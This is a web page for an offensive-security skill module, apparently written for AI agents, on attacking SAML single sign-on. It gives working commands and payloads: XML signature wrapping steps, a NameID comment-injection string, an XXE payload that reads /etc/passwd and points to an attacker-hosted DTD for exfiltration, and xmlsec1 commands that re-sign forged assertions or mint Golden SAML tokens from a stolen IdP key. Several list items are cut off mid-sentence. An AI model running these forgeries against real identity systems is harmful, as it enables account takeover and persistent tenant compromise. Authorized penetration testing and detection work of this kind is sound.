secskills
secskills / offense / attacking-saml

attacking-saml

offense verified 2026-07-26

Attack SAML single sign-on by decoding and tampering with signed XML assertions — XML signature wrapping (XSW1-XSW8), signature stripping, assertion and attribute tampering, NameID comment injection, XXE through the SAML parser, certificate faking, recipient confusion and IdP-initiated replay, and Golden SAML forgery. Use when a request carries a `SAMLRequest` or `SAMLResponse` parameter, when base64+deflate decodes to XML with `<saml:Assertion>`, when the target exposes a `/saml/acs` or `/sso` endpoint, when an IdP-initiated login lands an assertion at the SP, or when federation runs through Okta, ADFS, Ping, or Azure/Entra.

$ /plugin install secskills-offense $ /plugin install secskills-core

SAML security is XML signature validation, and XML signatures are notoriously hard to validate correctly. The assertion is signed — but which element is signed, what the XML parser reads, and what the application ultimately trusts can be three entirely different things. That gap is XML Signature Wrapping, and it is the reason SAML breaks far more often than its cryptography suggests.

Only against systems you are authorized to test.

When to Use

&lt;saml:Assertion&gt;, &lt;samlp:Response&gt;, or &lt;saml:Subject&gt;

Assertion Consumer Service endpoint

AuthnRequest

SimpleSAMLphp, or Keycloak

identity or role

When NOT to Use

access_token, /authorize, /.well-known/openid-configuration) — use attacking-oauth-oidc

XML — use attacking-jwt

testing-web-applications

already hold the token-signing key — that is a tenant-takeover play in attacking-entra-id

key size, canonicalization algorithm choice) — use reviewing-cryptography

Decode and Inspect

Everything starts with reading the message. The wire format depends on the binding.

# HTTP-Redirect binding: base64 then raw DEFLATE (no zlib header)
echo 'fVLLbtsw...' | base64 -d | python3 -c \
  "import sys,zlib; sys.stdout.write(zlib.decompress(sys.stdin.buffer.read(),-15).decode())"

# HTTP-POST binding: plain base64, no deflate
echo 'PHNhbWxwOl...' | base64 -d | xmllint --format -

The redirect binding uses raw DEFLATE — window bits -15, no header. The POST binding does not deflate at all. Guess wrong and you get garbage; try both.

SAML Raider (Burp extension) is the working environment: it intercepts the ACS POST, pretty-prints the XML, imports the IdP certificate, and drives the signature-wrapping attacks below with a single click. Install it before doing anything by hand.

samltool.com (SAMLtool by OneLogin) decodes and re-encodes messages and is useful for understanding structure — but treat it as offline reference only. Never paste a live production assertion into a third-party website; decode with the commands above instead.

Read these fields first, because they define every attack that follows:

points to. This is the whole game.

XML Signature Wrapping (XSW)

The core SAML attack. The signature is cryptographically valid, but you move the signed element somewhere the signature checker still accepts it while the application logic reads a different, unsigned assertion that you control. The verifier and the consumer disagree about which element is authoritative.

The eight canonical variants (Somorovsky et al.) differ in where the original signed assertion is relocated and where the forged one is injected:

original response while a forged response is processed. XSW2 uses a non-enveloping signature position.

sibling of the signed one; XSW4 nests the signed assertion inside the forged one. Same or overlapping IDs.

with the ID attribute so the reference still resolves.

assertion in an &lt;Extensions&gt; element; XSW8 buries the original signed one in an &lt;Object&gt; so it validates but is never consumed.

# Attack in SAML Raider:
#   1. Intercept the ACS POST, select the signed assertion
#   2. Edit NameID / attributes in the assertion the app will read
#   3. Click XSW1..XSW8 in turn — each rebuilds the document layout
#   4. Forward; watch for a successful login as the forged identity

Iterate through all eight. Which one works depends entirely on the SP's XML library and how it selects the assertion to trust — there is no way to predict it, so try every variant before concluding the SP is safe. A successful login as a NameID you never legitimately held is the finding.

Unsigned Assertions and Signature Stripping

Before the wrapping games, test the simplest failure: does the SP verify a signature at all?

SPs only verify a signature if one is present.

versa, when the SP only checks one.

md5/no-op where the SP does not pin the expected algorithm.

# xmlsec1 can tell you what a document's signature actually covers
xmlsec1 --verify --pubkey-cert-pem idp.crt --id-attr:ID Assertion response.xml

If the SP accepts a stripped or unsigned assertion, you can forge identity with no cryptography at all — the highest-severity SAML outcome.

Assertion Tampering

Once you can get an assertion accepted (stripped, unsigned, or via a working XSW variant), change what it claims:

entitlement attributes the IdP never issued, change email to trigger account linking on the SP

minted for another SP in the same federation is replayable here

replay a captured assertion long after it should have expired

response to its own AuthnRequest ID; if not, injected/replayed responses are accepted

Test each independently. An SP that validates the signature but ignores AudienceRestriction or the replay window is still fully exploitable.

Comment Injection in NameID

A canonicalization bug in several SAML libraries (the 2018 Duo/python-saml/ OneLogin class of CVEs). XML text-node handling and signature canonicalization disagree about how an XML comment splits a text node.

<saml:NameID>admin<!---->@evil.com</saml:NameID>

The signature is computed over the canonicalized value (which may drop the comment or concatenate the nodes), while the application's text extraction reads only the node before the comment — yielding admin. So a validly signed assertion for admin@evil.com (an account you legitimately own) authenticates you as admin. Try comments inside any identity-bearing field: NameID, and email/username attributes used for account mapping.

XXE via the SAML Parser

The SP feeds attacker-supplied XML into a parser. If external entities are not disabled, the ACS endpoint is an XXE sink.

<?xml version="1.0"?>
<!DOCTYPE samlp:Response [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response ...>...&xxe;...</samlp:Response>

Use an out-of-band DTD (http://attacker/evil.dtd) for blind file read and SSRF into the SP's internal network. The full technique — parameter entities, OOB exfiltration, error-based leakage — is in exploiting-xxe; the SAML angle is simply that the assertion is the injection point and the ACS is unauthenticated.

Certificate Faking and Self-Signed Re-Signing

If the SP does not pin the IdP's certificate — instead trusting whatever cert is embedded in &lt;ds:KeyInfo&gt;, or accepting any cert from a broad CA bundle — you can strip the real signature, re-sign with your own key, and ship your cert in the message.

# Generate a key/cert and re-sign a tampered assertion
openssl req -x509 -newkey rsa:2048 -keyout evil.key -out evil.crt -days 30 -nodes -subj "/CN=idp"
xmlsec1 --sign --privkey-pem evil.key,evil.crt \
        --id-attr:ID Assertion tampered.xml > forged.xml

SAML Raider automates this: "Send Certificate" imports/generates a cert, then resigns the edited message in place. If the forged self-signed assertion is accepted, the SP is trusting the message's own embedded key instead of a pinned IdP cert — complete authentication bypass.

Recipient / Destination Confusion and IdP-Initiated Replay

in SubjectConfirmationData or the Destination on the response, an assertion captured at one SP replays at another that shares the IdP.

so there is no InResponseTo and often no anti-replay state. Capture a valid IdP-initiated POST and re-send it — within the validity window it may log you straight back in. A leaked assertion in logs, referrers, or history becomes a usable credential.

assertion issued for tenant A is accepted at tenant B's ACS.

Golden SAML

The endgame, not the entry point. If you already hold the IdP's private token-signing key (stolen from an AD FS server's certificate store, an Azure/Entra federation trust, or an exported IdP keystore), you forge arbitrary, perfectly-signed assertions for any user, any role, indefinitely — no credentials, no MFA, no IdP interaction, and it survives password resets.

# With the stolen signing key, mint an assertion for any identity
xmlsec1 --sign --privkey-pem tokensigning.key,tokensigning.crt \
        --id-attr:ID Assertion golden.xml > any-user.xml

Obtaining the key is a host/tenant-compromise task, not a SAML-message task — that path (extracting the AD FS token-signing cert, DKM key, or cloud federation secret) lives in attacking-entra-id. Come back here only to shape the forged assertion.

Rationalizations to Reject

wrapping keeps the signature valid while the app reads a different element. Signed does not mean the signed thing is what gets trusted.

reason. Run all of XSW1–XSW8 before concluding anything.

verifying the assertion you consume. And it may only verify when one is present; strip it and test.

AudienceRestriction, Recipient, and Destination, assertions replay across SPs and tenants.

admin. Canonicalization mismatches are full account takeover.

bytes before it trusts them, and the bytes come from your browser. Untrusted.

assertion is in scope here; note the exposure and route key extraction to attacking-entra-id — don't dismiss the impact.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Credential Access (TA0006)

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References